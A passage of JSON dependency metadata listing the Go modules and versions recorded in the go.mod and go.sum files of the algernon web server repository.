4.0","direct":true,"kind":"runtime","optional":false},{"id":6959972612,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.6.0","direct":true,"kind":"runtime","optional":false},{"id":6959972613,"package_name":"golang.org/x/time","ecosystem":"go","requirements":"v0.3.0","direct":true,"kind":"runtime","optional":false},{"id":6959972614,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.5.0","direct":true,"kind":"runtime","optional":false},{"id":6959972615,"package_name":"gopkg.in/gcfg.v1","ecosystem":"go","requirements":"v1.2.3","direct":true,"kind":"runtime","optional":false},{"id":6959972616,"package_name":"gopkg.in/warnings.v0","ecosystem":"go","requirements":"v0.1.2","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"go","filepath":"go.sum","sha":null,"kind":"lockfile","created_at":"2023-01-16T22:16:50.696Z","updated_at":"2023-01-16T22:16:50.696Z","repository_link":"https://github.com/xyproto/algernon/blob/main/go.sum","dependencies":[{"id":6959974161,"package_name":"github.com/Azure/azure-sdk-for-go/sdk/azcore","ecosystem":"go","requirements":"v0.19.0","direct":false,"kind":"runtime","optional":false},{"id":6959974162,"package_name":"github.com/Azure/azure-sdk-for-go/sdk/azidentity","ecosystem":"go","requirements":"v0.11.0","direct":false,"kind":"runtime","optional":false},{"id":6959974163,"package_name":"github.com/Azure/azure-sdk-for-go/sdk/internal","ecosystem":"go","requirements":"v0.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974164,"package_name":"github.com/DataDog/gostackparse","ecosystem":"go","requirements":"v0.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974165,"package_name":"github.com/alecthomas/assert/v2","ecosystem":"go","requirements":"v2.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974166,"package_name":"github.com/alecthomas/chroma/v2","ecosystem":"go","requirements":"v2.4.1-0.20221211204142-45e3bfb67168","direct":false,"kind":"runtime","optional":false},{"id":6959974167,"package_name":"github.com/alecthomas/repr","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974168,"package_name":"github.com/benbjohnson/clock","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974169,"package_name":"github.com/bmizerany/assert","ecosystem":"go","requirements":"v0.0.0-20160611221934-b7ed37b82869","direct":false,"kind":"runtime","optional":false},{"id":6959974170,"package_name":"github.com/caddyserver/certmagic","ecosystem":"go","requirements":"v0.17.2","direct":false,"kind":"runtime","optional":false},{"id":6959974171,"package_name":"github.com/chzyer/logex","ecosystem":"go","requirements":"v1.1.10","direct":false,"kind":"runtime","optional":false},{"id":6959974172,"package_name":"github.com/chzyer/logex","ecosystem":"go","requirements":"v1.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974173,"package_name":"github.com/chzyer/readline","ecosystem":"go","requirements":"v0.0.0-20180603132655-2972be24d48e","direct":false,"kind":"runtime","optional":false},{"id":6959974174,"package_name":"github.com/chzyer/readline","ecosystem":"go","requirements":"v1.5.1","direct":false,"kind":"runtime","optional":false},{"id":6959974175,"package_name":"github.com/chzyer/test","ecosystem":"go","requirements":"v0.0.0-20180213035817-a1ea475d72b1","direct":false,"kind":"runtime","optional":false},{"id":6959974176,"package_name":"github.com/chzyer/test","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974177,"package_name":"github.com/codegangsta/inject","ecosystem":"go","requirements":"v0.0.0-20150114235600-33e0aa1cb7c0","direct":false,"kind":"runtime","optional":false},{"id":6959974178,"package_name":"github.com/codegangsta/negroni","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974179,"package_name":"github.com/creack/pty","ecosystem":"go","requirements":"v1.1.9","direct":false,"kind":"runtime","optional":false},{"id":6959974180,"package_name":"github.com/davecgh/go-spew","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974181,"package_name":"github.com/davecgh/go-spew","ecosystem":"go","requirements":"v1.1.1","direct":false,"kind":"runtime","optional":false},{"id":6959974182,"package_name":"github.com/ddliu/go-httpclient","ecosystem":"go","requirements":"v0.7.1","direct":false,"kind":"runtime","optional":false},{"id":6959974183,"package_name":"github.com/denisenkom/go-mssqldb","ecosystem":"go","requirements":"v0.12.3","direct":false,"kind":"runtime","optional":false},{"id":6959974184,"package_name":"github.com/didip/tollbooth","ecosystem":"go","requirements":"v4.0.2+incompatible","direct":false,"kind":"runtime","optional":false},{"id":6959974186,"package_name":"github.com/dlclark/regexp2","ecosystem":"go","requirements":"v1.4.0","direct":false,"kind":"runtime","optional":false},{"id":6959974187,"package_name":"github.com/dlclark/regexp2","ecosystem":"go","requirements":"v1.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974188,"package_name":"github.com/dlclark/regexp2","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":6959974189,"package_name":"github.com/dnaeon/go-vcr","ecosystem":"go","requirements":"v1.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974190,"package_name":"github.com/eknkc/amber","ecosystem":"go","requirements":"v0.0.0-20171010120322-cdade1c07385","direct":false,"kind":"runtime","optional":false},{"id":6959974191,"package_name":"github.com/evanw/esbuild","ecosystem":"go","requirements":"v0.17.0","direct":false,"kind":"runtime","optional":false},{"id":6959974192,"package_name":"github.com/felixge/fgtrace","ecosystem":"go","requirements":"v0.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974193,"package_name":"github.com/fsnotify/fsnotify","ecosystem":"go","requirements":"v1.4.7","direct":false,"kind":"runtime","optional":false},{"id":6959974194,"package_name":"github.com/fsnotify/fsnotify","ecosystem":"go","requirements":"v1.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974195,"package_name":"github.com/gin-contrib/sse","ecosystem":"go","requirements":"v0.0.0-20190301062529-5545eab6dad3","direct":false,"kind":"runtime","optional":false},{"id":6959974196,"package_name":"github.com/gin-contrib/sse","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974197,"package_name":"github.com/gin-gonic/gin","ecosystem":"go","requirements":"v1.4.0","direct":false,"kind":"runtime","optional":false},{"id":6959974198,"package_name":"github.com/gin-gonic/gin","ecosystem":"go","requirements":"v1.7.2","direct":false,"kind":"runtime","optional":false},{"id":6959974199,"package_name":"github.com/gin-gonic/gin","ecosystem":"go","requirements":"v1.7.7","direct":false,"kind":"runtime","optional":false},{"id":6959974200,"package_name":"github.com/go-check/check","ecosystem":"go","requirements":"v0.0.0-20180628173108-788fd7840127","direct":false,"kind":"runtime","optional":false},{"id":6959974201,"package_name":"github.com/go-chi/chi","ecosystem":"go","requirements":"v4.1.2+incompatible","direct":false,"kind":"runtime","optional":false},{"id":6959974202,"package_name":"github.com/go-gcfg/gcfg","ecosystem":"go","requirements":"v1.2.3","direct":false,"kind":"runtime","optional":false},{"id":6959974203,"package_name":"github.com/go-logr/logr","ecosystem":"go","requirements":"v1.2.3","direct":false,"kind":"runtime","optional":false},{"id":6959974204,"package_name":"github.com/go-martini/martini","ecosystem":"go","requirements":"v0.0.0-20170121215854-22fa46961aab","direct":false,"kind":"runtime","optional":false},{"id":6959974205,"package_name":"github.com/go-playground/assert/v2","ecosystem":"go","requirements":"v2.0.1","direct":false,"kind":"runtime","optional":false},{"id":6959974206,"package_name":"github.com/go-playground/locales","ecosystem":"go","requirements":"v0.13.0","direct":false,"kind":"runtime","optional":false},{"id":6959974207,"package_name":"github.com/go-playground/locales","ecosystem":"go","requirements":"v0.14.0","direct":false,"kind":"runtime","optional":false},{"id":6959974208,"package_name":"github.com/go-playground/universal-translator","ecosystem":"go","requirements":"v0.17.0","direct":false,"kind":"runtime","optional":false},{"id":6959974209,"package_name":"github.com/go-playground/universal-translator","ecosystem":"go","requirements":"v0.18.0","direct":false,"kind":"runtime","optional":false},{"id":6959974210,"package_name":"github.com/go-playground/validator/v10","ecosystem":"go","requirements":"v10.4.1","direct":false,"kind":"runtime","optional":false},{"id":6959974212,"package_name":"github.com/go-playground/validator/v10","ecosystem":"go","requirements":"v10.9.0","direct":false,"kind":"runtime","optional":false},{"id":6959974213,"package_name":"github.com/go-sql-driver/mysql","ecosystem":"go","requirements":"v1.4.1","direct":false,"kind":"runtime","optional":false},{"id":6959974215,"package_name":"github.com/go-sql-driver/mysql","ecosystem":"go","requirements":"v1.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974216,"package_name":"github.com/go-sql-driver/mysql","ecosystem":"go","requirements":"v1.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974218,"package_name":"github.com/go-task/slim-sprig","ecosystem":"go","requirements":"v0.0.0-20210107165309-348f09dbbbc0","direct":false,"kind":"runtime","optional":false},{"id":6959974220,"package_name":"github.com/golang-sql/civil","ecosystem":"go","requirements":"v0.0.0-20190719163853-cb61b32ac6fe","direct":false,"kind":"runtime","optional":false},{"id":6959974221,"package_name":"github.com/golang-sql/civil","ecosystem":"go","requirements":"v0.0.0-20220223132316-b832511892a9","direct":false,"kind":"runtime","optional":false},{"id":6959974223,"package_name":"github.com/golang-sql/sqlexp","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974224,"package_name":"github.com/golang/mock","ecosystem":"go","requirements":"v1.6.0","direct":false,"kind":"runtime","optional":false},{"id":6959974225,"package_name":"github.com/golang/protobuf","ecosystem":"go","requirements":"v1.3.1","direct":false,"kind":"runtime","optional":false},{"id":6959974226,"package_name":"github.com/golang/protobuf","ecosystem":"go","requirements":"v1.3.3","direct":false,"kind":"runtime","optional":false},{"id":6959974227,"package_name":"github.com/golang/protobuf","ecosystem":"go","requirements":"v1.3.5","direct":false,"kind":"runtime","optional":false},{"id":6959974228,"package_name":"github.com/golang/protobuf","ecosystem":"go","requirements":"v1.5.0","direct":false,"kind":"runtime","optional":false},{"id":6959974229,"package_name":"github.com/golang/protobuf","ecosystem":"go","requirements":"v1.5.2","direct":false,"kind":"runtime","optional":false},{"id":6959974230,"package_name":"github.com/gomodule/redigo","ecosystem":"go","requirements":"v1.8.8","direct":false,"kind":"runtime","optional":false},{"id":6959974231,"package_name":"github.com/gomodule/redigo","ecosystem":"go","requirements":"v1.8.9","direct":false,"kind":"runtime","optional":false},{"id":6959974232,"package_name":"github.com/google/go-cmp","ecosystem":"go","requirements":"v0.5.5","direct":false,"kind":"runtime","optional":false},{"id":6959974233,"package_name":"github.com/google/go-cmp","ecosystem":"go","requirements":"v0.5.9","direct":false,"kind":"runtime","optional":false},{"id":6959974234,"package_name":"github.com/google/gofuzz","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974235,"package_name":"github.com/google/pprof","ecosystem":"go","requirements":"v0.0.0-20230111200839-76d1ae5aea2b","direct":false,"kind":"runtime","optional":false},{"id":6959974236,"package_name":"github.com/hexops/gotextdiff","ecosystem":"go","requirements":"v1.0.3","direct":false,"kind":"runtime","optional":false},{"id":6959974237,"package_name":"github.com/json-iterator/go","ecosystem":"go","requirements":"v1.1.6","direct":false,"kind":"runtime","optional":false},{"id":6959974238,"package_name":"github.com/json-iterator/go","ecosystem":"go","requirements":"v1.1.7","direct":false,"kind":"runtime","optional":false},{"id":6959974239,"package_name":"github.com/json-iterator/go","ecosystem":"go","requirements":"v1.1.9","direct":false,"kind":"runtime","optional":false},{"id":6959974240,"package_name":"github.com/json-iterator/go","ecosystem":"go","requirements":"v1.1.12","direct":false,"kind":"runtime","optional":false},{"id":6959974241,"package_name":"github.com/juju/loggo","ecosystem":"go","requirements":"v0.0.0-20180524022052-584905176618","direct":false,"kind":"runtime","optional":false},{"id":6959974242,"package_name":"github.com/juju/testing","ecosystem":"go","requirements":"v0.0.0-20180920084828-472a3e8b2073","direct":false,"kind":"runtime","optional":false},{"id":6959974243,"package_name":"github.com/klauspost/cpuid/v2","ecosystem":"go","requirements":"v2.2.3","direct":false,"kind":"runtime","optional":false},{"id":6959974244,"package_name":"github.com/konsorten/go-windows-terminal-sequences","ecosystem":"go","requirements":"v1.0.1","direct":false,"kind":"runtime","optional":false},{"id":6959974245,"package_name":"github.com/konsorten/go-windows-terminal-sequences","ecosystem":"go","requirements":"v1.0.2","direct":false,"kind":"runtime","optional":false},{"id":6959974246,"package_name":"github.com/kr/pretty","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974247,"package_name":"github.com/kr/pretty","ecosystem":"go","requirements":"v0.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974248,"package_name":"github.com/kr/pretty","ecosystem":"go","requirements":"v0.3.0","direct":false,"kind":"runtime","optional":false},{"id":6959974249,"package_name":"github.com/kr/pretty","ecosystem":"go","requirements":"v0.3.1","direct":false,"kind":"runtime","optional":false},{"id":6959974250,"package_name":"github.com/kr/pty","ecosystem":"go","requirements":"v1.1.1","direct":false,"kind":"runtime","optional":false},{"id":6959974251,"package_name":"github.com/kr/text","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974252,"package_name":"github.com/kr/text","ecosystem":"go","requirements":"v0.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974253,"package_name":"github.com/leodido/go-urn","ecosystem":"go","requirements":"v1.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974254,"package_name":"github.com/leodido/go-urn","ecosystem":"go","requirements":"v1.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974255,"package_name":"github.com/lib/pq","ecosystem":"go","requirements":"v1.10.4","direct":false,"kind":"runtime","optional":false},{"id":6959974256,"package_name":"github.com/lib/pq","ecosystem":"go","requirements":"v1.10.7","direct":false,"kind":"runtime","optional":false},{"id":6959974257,"package_name":"github.com/libdns/libdns","ecosystem":"go","requirements":"v0.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974258,"package_name":"github.com/lucas-clemente/quic-go","ecosystem":"go","requirements":"v0.31.1","direct":false,"kind":"runtime","optional":false},{"id":6959974259,"package_name":"github.com/marten-seemann/qpack","ecosystem":"go","requirements":"v0.3.0","direct":false,"kind":"runtime","optional":false},{"id":6959974260,"package_name":"github.com/marten-seemann/qtls-go1-18","ecosystem":"go","requirements":"v0.1.4","direct":false,"kind":"runtime","optional":false},{"id":6959974261,"package_name":"github.com/marten-seemann/qtls-go1-19","ecosystem":"go","requirements":"v0.1.2","direct":false,"kind":"runtime","optional":false},{"id":6959974262,"package_name":"github.com/mattetti/filebuffer","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974263,"package_name":"github.com/mattetti/filebuffer","ecosystem":"go","requirements":"v1.0.1","direct":false,"kind":"runtime","optional":false},{"id":6959974264,"package_name":"github.com/mattn/go-colorable","ecosystem":"go","requirements":"v0.1.12","direct":false,"kind":"runtime","optional":false},{"id":6959974265,"package_name":"github.com/mattn/go-colorable","ecosystem":"go","requirements":"v0.1.13","direct":false,"kind":"runtime","optional":false},{"id":6959974266,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.7","direct":false,"kind":"runtime","optional":false},{"id":6959974267,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.9","direct":false,"kind":"runtime","optional":false},{"id":6959974269,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.12","direct":false,"kind":"runtime","optional":false},{"id":6959974270,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.14","direct":false,"kind":"runtime","optional":false},{"id":6959974272,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.16","direct":false,"kind":"runtime","optional":false},{"id":6959974273,"package_name":"github.com/mattn/go-isatty","ecosystem":"go","requirements":"v0.0.17","direct":false,"kind":"runtime","optional":false},{"id":6959974276,"package_name":"github.com/mattn/goveralls","ecosystem":"go","requirements":"v0.0.2","direct":false,"kind":"runtime","optional":false},{"id":6959974278,"package_name":"github.com/mgutz/ansi","ecosystem":"go","requirements":"v0.0.0-20200706080929-d51e80ef957d","direct":false,"kind":"runtime","optional":false},{"id":6959974281,"package_name":"github.com/mholt/acmez","ecosystem":"go","requirements":"v1.0.4","direct":false,"kind":"runtime","optional":false},{"id":6959974283,"package_name":"github.com/miekg/dns","ecosystem":"go","requirements":"v1.1.50","direct":false,"kind":"runtime","optional":false},{"id":6959974285,"package_name":"github.com/mitchellh/go-homedir","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974288,"package_name":"github.com/mitchellh/mapstructure","ecosystem":"go","requirements":"v1.4.1","direct":false,"kind":"runtime","optional":false},{"id":6959974290,"package_name":"github.com/mitchellh/mapstructure","ecosystem":"go","requirements":"v1.5.0","direct":false,"kind":"runtime","optional":false},{"id":6959974292,"package_name":"github.com/modern-go/concurrent","ecosystem":"go","requirements":"v0.0.0-20180228061459-e0a39a4cb421","direct":false,"kind":"runtime","optional":false},{"id":6959974295,"package_name":"github.com/modern-go/concurrent","ecosystem":"go","requirements":"v0.0.0-20180306012644-bacd9c7ef1dd","direct":false,"kind":"runtime","optional":false},{"id":6959974297,"package_name":"github.com/modern-go/reflect2","ecosystem":"go","requirements":"v0.0.0-20180701023420-4b7aa43c6742","direct":false,"kind":"runtime","optional":false},{"id":6959974298,"package_name":"github.com/modern-go/reflect2","ecosystem":"go","requirements":"v1.0.1","direct":false,"kind":"runtime","optional":false},{"id":6959974300,"package_name":"github.com/modern-go/reflect2","ecosystem":"go","requirements":"v1.0.2","direct":false,"kind":"runtime","optional":false},{"id":6959974302,"package_name":"github.com/modocache/gover","ecosystem":"go","requirements":"v0.0.0-20171022184752-b58185e213c5","direct":false,"kind":"runtime","optional":false},{"id":6959974303,"package_name":"github.com/natefinch/pie","ecosystem":"go","requirements":"v0.0.0-20170715172608-9a0d72014007","direct":false,"kind":"runtime","optional":false},{"id":6959974305,"package_name":"github.com/onsi/ginkgo/v2","ecosystem":"go","requirements":"v2.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974308,"package_name":"github.com/onsi/gomega","ecosystem":"go","requirements":"v1.24.1","direct":false,"kind":"runtime","optional":false},{"id":6959974310,"package_name":"github.com/patrickmn/go-cache","ecosystem":"go","requirements":"v2.1.0+incompatible","direct":false,"kind":"runtime","optional":false},{"id":6959974312,"package_name":"github.com/pkg/browser","ecosystem":"go","requirements":"v0.0.0-20180916011732-0a3d74bf9ce4","direct":false,"kind":"runtime","optional":false},{"id":6959974317,"package_name":"github.com/pkg/diff","ecosystem":"go","requirements":"v0.0.0-20210226163009-20ebb0f2a09e","direct":false,"kind":"runtime","optional":false},{"id":6959974321,"package_name":"github.com/pkg/errors","ecosystem":"go","requirements":"v0.8.1","direct":false,"kind":"runtime","optional":false},{"id":6959974325,"package_name":"github.com/pkg/errors","ecosystem":"go","requirements":"v0.9.1","direct":false,"kind":"runtime","optional":false},{"id":6959974328,"package_name":"github.com/pkg/term","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974331,"package_name":"github.com/pkg/term","ecosystem":"go","requirements":"v1.2.0-beta.2.0.20210419004637-f749b98bd0ba","direct":false,"kind":"runtime","optional":false},{"id":6959974335,"package_name":"github.com/pmezard/go-difflib","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974337,"package_name":"github.com/rogpeppe/go-internal","ecosystem":"go","requirements":"v1.6.1","direct":false,"kind":"runtime","optional":false},{"id":6959974339,"package_name":"github.com/rogpeppe/go-internal","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":6959974340,"package_name":"github.com/rogpeppe/go-internal","ecosystem":"go","requirements":"v1.9.0","direct":false,"kind":"runtime","optional":false},{"id":6959974341,"package_name":"github.com/russross/blackfriday","ecosystem":"go","requirements":"v1.5.3-0.20190616195246-a925a152c144","direct":false,"kind":"runtime","optional":false},{"id":6959974342,"package_name":"github.com/russross/blackfriday/v2","ecosystem":"go","requirements":"v2.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974343,"package_name":"github.com/shopspring/decimal","ecosystem":"go","requirements":"v1.3.1","direct":false,"kind":"runtime","optional":false},{"id":6959974344,"package_name":"github.com/sirupsen/logrus","ecosystem":"go","requirements":"v1.4.2","direct":false,"kind":"runtime","optional":false},{"id":6959974345,"package_name":"github.com/sirupsen/logrus","ecosystem":"go","requirements":"v1.9.0","direct":false,"kind":"runtime","optional":false},{"id":6959974346,"package_name":"github.com/stretchr/objx","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974347,"package_name":"github.com/stretchr/objx","ecosystem":"go","requirements":"v0.1.1","direct":false,"kind":"runtime","optional":false},{"id":6959974348,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.2.2","direct":false,"kind":"runtime","optional":false},{"id":6959974350,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.3.0","direct":false,"kind":"runtime","optional":false},{"id":6959974351,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.4.0","direct":false,"kind":"runtime","optional":false},{"id":6959974352,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.5.1","direct":false,"kind":"runtime","optional":false},{"id":6959974353,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.6.1","direct":false,"kind":"runtime","optional":false},{"id":6959974355,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974356,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":6959974357,"package_name":"github.com/tylerb/graceful","ecosystem":"go","requirements":"v1.2.15","direct":false,"kind":"runtime","optional":false},{"id":6959974358,"package_name":"github.com/ugorji/go","ecosystem":"go","requirements":"v1.1.4","direct":false,"kind":"runtime","optional":false},{"id":6959974360,"package_name":"github.com/ugorji/go","ecosystem":"go","requirements":"v1.1.7","direct":false,"kind":"runtime","optional":false},{"id":6959974361,"package_name":"github.com/ugorji/go","ecosystem":"go","requirements":"v1.2.6","direct":false,"kind":"runtime","optional":false},{"id":6959974364,"package_name":"github.com/ugorji/go/codec","ecosystem":"go","requirements":"v1.1.7","direct":false,"kind":"runtime","optional":false},{"id":6959974366,"package_name":"github.com/ugorji/go/codec","ecosystem":"go","requirements":"v1.2.6","direct":false,"kind":"runtime","optional":false},{"id":6959974368,"package_name":"github.com/urfave/negroni","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974370,"package_name":"github.com/wellington/sass","ecosystem":"go","requirements":"v0.0.0-20160911051022-cab90b3986d6","direct":false,"kind":"runtime","optional":false},{"id":6959974373,"package_name":"github.com/xyproto/ask","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974376,"package_name":"github.com/xyproto/ask","ecosystem":"go","requirements":"v1.0.1-0.20190918171905-3782b6dc3afd","direct":false,"kind":"runtime","optional":false},{"id":6959974380,"package_name":"github.com/xyproto/cookie","ecosystem":"go","requirements":"v0.0.0-20181220103240-f4de411f45ff","direct":false,"kind":"runtime","optional":false},{"id":6959974382,"package_name":"github.com/xyproto/cookie","ecosystem":"go","requirements":"v0.0.0-20210319112338-2e0ffd4b75a9","direct":false,"kind":"runtime","optional":false},{"id":6959974385,"package_name":"github.com/xyproto/datablock","ecosystem":"go","requirements":"v0.0.0-20190619140322-71fb859bdac7","direct":false,"kind":"runtime","optional":false},{"id":6959974389,"package_name":"github.com/xyproto/env","ecosystem":"go","requirements":"v1.7.0","direct":false,"kind":"runtime","optional":false},{"id":6959974392,"package_name":"github.com/xyproto/env","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":6959974395,"package_name":"github.com/xyproto/gluamapper","ecosystem":"go","requirements":"v1.2.1","direct":false,"kind":"runtime","optional":false},{"id":6959974400,"package_name":"github.com/xyproto/gopher-lua","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":6959974403,"package_name":"github.com/xyproto/gopher-lua","ecosystem":"go","requirements":"v1.0.2","direct":false,"kind":"runtime","optional":false},{"id":6959974408,"package_name":"github.com/xyproto/jpath","ecosystem":"go","requirements":"v0.6.1","direct":false,"kind":"runtime","optional":false},{"id":6959974411,"package_name":"github.com/xyproto/mime","ecosystem":"go","requirements":"v0.0.0-20210817202956-28bafd7b06b4","direct":false,"kind":"runtime","optional":false},{"id":6959974413,"package_name":"github.com/xyproto/onthefly","ecosystem":"go","requirements":"v1.2.3","direct":false,"kind":"runtime","optional":false},{"id":6959974416,"package_name":"github.com/xyproto/permissionbolt","ecosystem":"go","requirements":"v1.2.6","direct":false,"kind":"runtime","optional":false},{"id":6959974417,"package_name":"github.com/xyproto/permissions2","ecosystem":"go","requirements":"v0.0.0-20220501203256-fd4f1e1ce602","direct":false,"kind":"runtime","optional":false},{"id":6959974420,"package_name":"github.com/xyproto/permissionsql","ecosystem":"go","requirements":"v0.0.0-20211125233837-22c0d59b31e0","direct":false,"kind":"runtime","optional":false},{"id":6959974423,"package_name":"github.com/xyproto/pinterface","ecosystem":"go","requirements":"v0.0.0-20181004125811-9710ef24b684","direct":false,"kind":"runtime","optional":false},{"id":6959974425,"package_name":"github.com/xyproto/pinterface","ecosystem":"go","requirements":"v0.0.0-20200201214933-70763765f31f","direct":false,"kind":"runtime","optional":false},{"id":6959974428,"package_name":"github.com/xyproto/pinterface","ecosystem":"go","requirements":"v0.0.0-20211009195247-f633d6c15725","direct":false,"kind":"runtime","optional":false},{"id":6959974431,"package_name":"github.com/xyproto/pinterface","ecosystem":"go","requirements":"v1.5.3","direct":false,"kind":"runtime","optional":false},{"id":6959974433,"package_name":"github.com/xyproto/pongo2","ecosystem":"go","requirements":"v0.0.0-20191214182037-d75cc3537773","direct":false,"kind":"runtime","optional":false},{"id":6959974436,"package_name":"github.com/xyproto/pstore","ecosystem":"go","requirements":"v1.3.1","direct":false,"kind":"runtime","optional":false},{"id":6959974439,"package_name":"github.com/xyproto/randomstring","ecosystem":"go","requirements":"v0.0.0-20181220103026-e5e8317e5d67","direct":false,"kind":"runtime","optional":false},{"id":6959974441,"package_name":"github.com/xyproto/randomstring","ecosystem":"go","requirements":"v0.0.0-20181222003104-0f764aabc45a","direct":false,"kind":"runtime","optional":false},{"id":6959974443,"package_name":"github.com/xyproto/randomstring","ecosystem":"go","requirements":"v0.0.0-20211020123341-4731a123782f","direct":false,"kind":"runtime","optional":false},{"id":6959974447,"package_name":"github.com/xyproto/randomstring","ecosystem":"go","requirements":"v0.0.0-20220311122621-4964ec363205","direct":false,"kind":"runtime","optional":false},{"id":6959974450,"package_name":"github.com/xyproto/recwatch","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974458,"package_name":"github.com/xyproto/sheepcounter","ecosystem":"go","requirements":"v1.6.1","direct":false,"kind":"runtime","optional":false},{"id":6959974462,"package_name":"github.com/xyproto/simplebolt","ecosystem":"go","requirements":"v1.5.1","direct":false,"kind":"runtime","optional":false},{"id":6959974466,"package_name":"github.com/xyproto/simplebolt","ecosystem":"go","requirements":"v1.5.2","direct":false,"kind":"runtime","optional":false},{"id":6959974469,"package_name":"github.com/xyproto/simpleform","ecosystem":"go","requirements":"v0.2.0","direct":false,"kind":"runtime","optional":false},{"id":6959974473,"package_name":"github.com/xyproto/simplehstore","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":6959974475,"package_name":"github.com/xyproto/simplehstore","ecosystem":"go","requirements":"v1.8.1","direct":false,"kind":"runtime","optional":false},{"id":6959974477,"package_name":"github.com/xyproto/simplemaria","ecosystem":"go","requirements":"v0.0.0-20190613092611-fe65bee4fd92","direct":false,"kind":"runtime","optional":false},{"id":6959974483,"package_name":"github.com/xyproto/simplemaria","ecosystem":"go","requirements":"v0.0.0-20220902075651-6f3efad9ec98","direct":false,"kind":"runtime","optional":false},{"id":6959974484,"package_name":"github.com/xyproto/simpleredis","ecosystem":"go","requirements":"v0.0.0-20220117114834-9a1000fbd7af","direct":false,"kind":"runtime","optional":false},{"id":6959974486,"package_name":"github.com/xyproto/splash","ecosystem":"go","requirements":"v1.1.6-0.20221231000707-2bc36461a065","direct":false,"kind":"runtime","optional":false},{"id":6959974488,"package_name":"github.com/xyproto/symwalk","ecosystem":"go","requirements":"v1.1.1","direct":false,"kind":"runtime","optional":false},{"id":6959974489,"package_name":"github.com/xyproto/textoutput","ecosystem":"go","requirements":"v1.14.1","direct":false,"kind":"runtime","optional":false},{"id":6959974491,"package_name":"github.com/xyproto/tinysvg","ecosystem":"go","requirements":"v1.0.1","direct":false,"kind":"runtime","optional":false},{"id":6959974492,"package_name":"github.com/xyproto/tinysvg","ecosystem":"go","requirements":"v1.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974494,"package_name":"github.com/xyproto/unzip","ecosystem":"go","requirements":"v0.0.0-20150601123358-823950573952","direct":false,"kind":"runtime","optional":false},{"id":6959974496,"package_name":"github.com/xyproto/vt100","ecosystem":"go","requirements":"v1.10.4","direct":false,"kind":"runtime","optional":false},{"id":6959974497,"package_name":"github.com/xyproto/vt100","ecosystem":"go","requirements":"v1.11.3","direct":false,"kind":"runtime","optional":false},{"id":6959974500,"package_name":"github.com/yosssi/gcss","ecosystem":"go","requirements":"v0.1.0","direct":false,"kind":"runtime","optional":false},{"id":6959974503,"package_name":"github.com/yuin/goldmark","ecosystem":"go","requirements":"v1.3.5","direct":false,"kind":"runtime","optional":false},{"id":6959974504,"package_name":"github.com/zenazn/goji","ecosystem":"go","requirements":"v0.9.0","direct":false,"kind":"runtime","optional":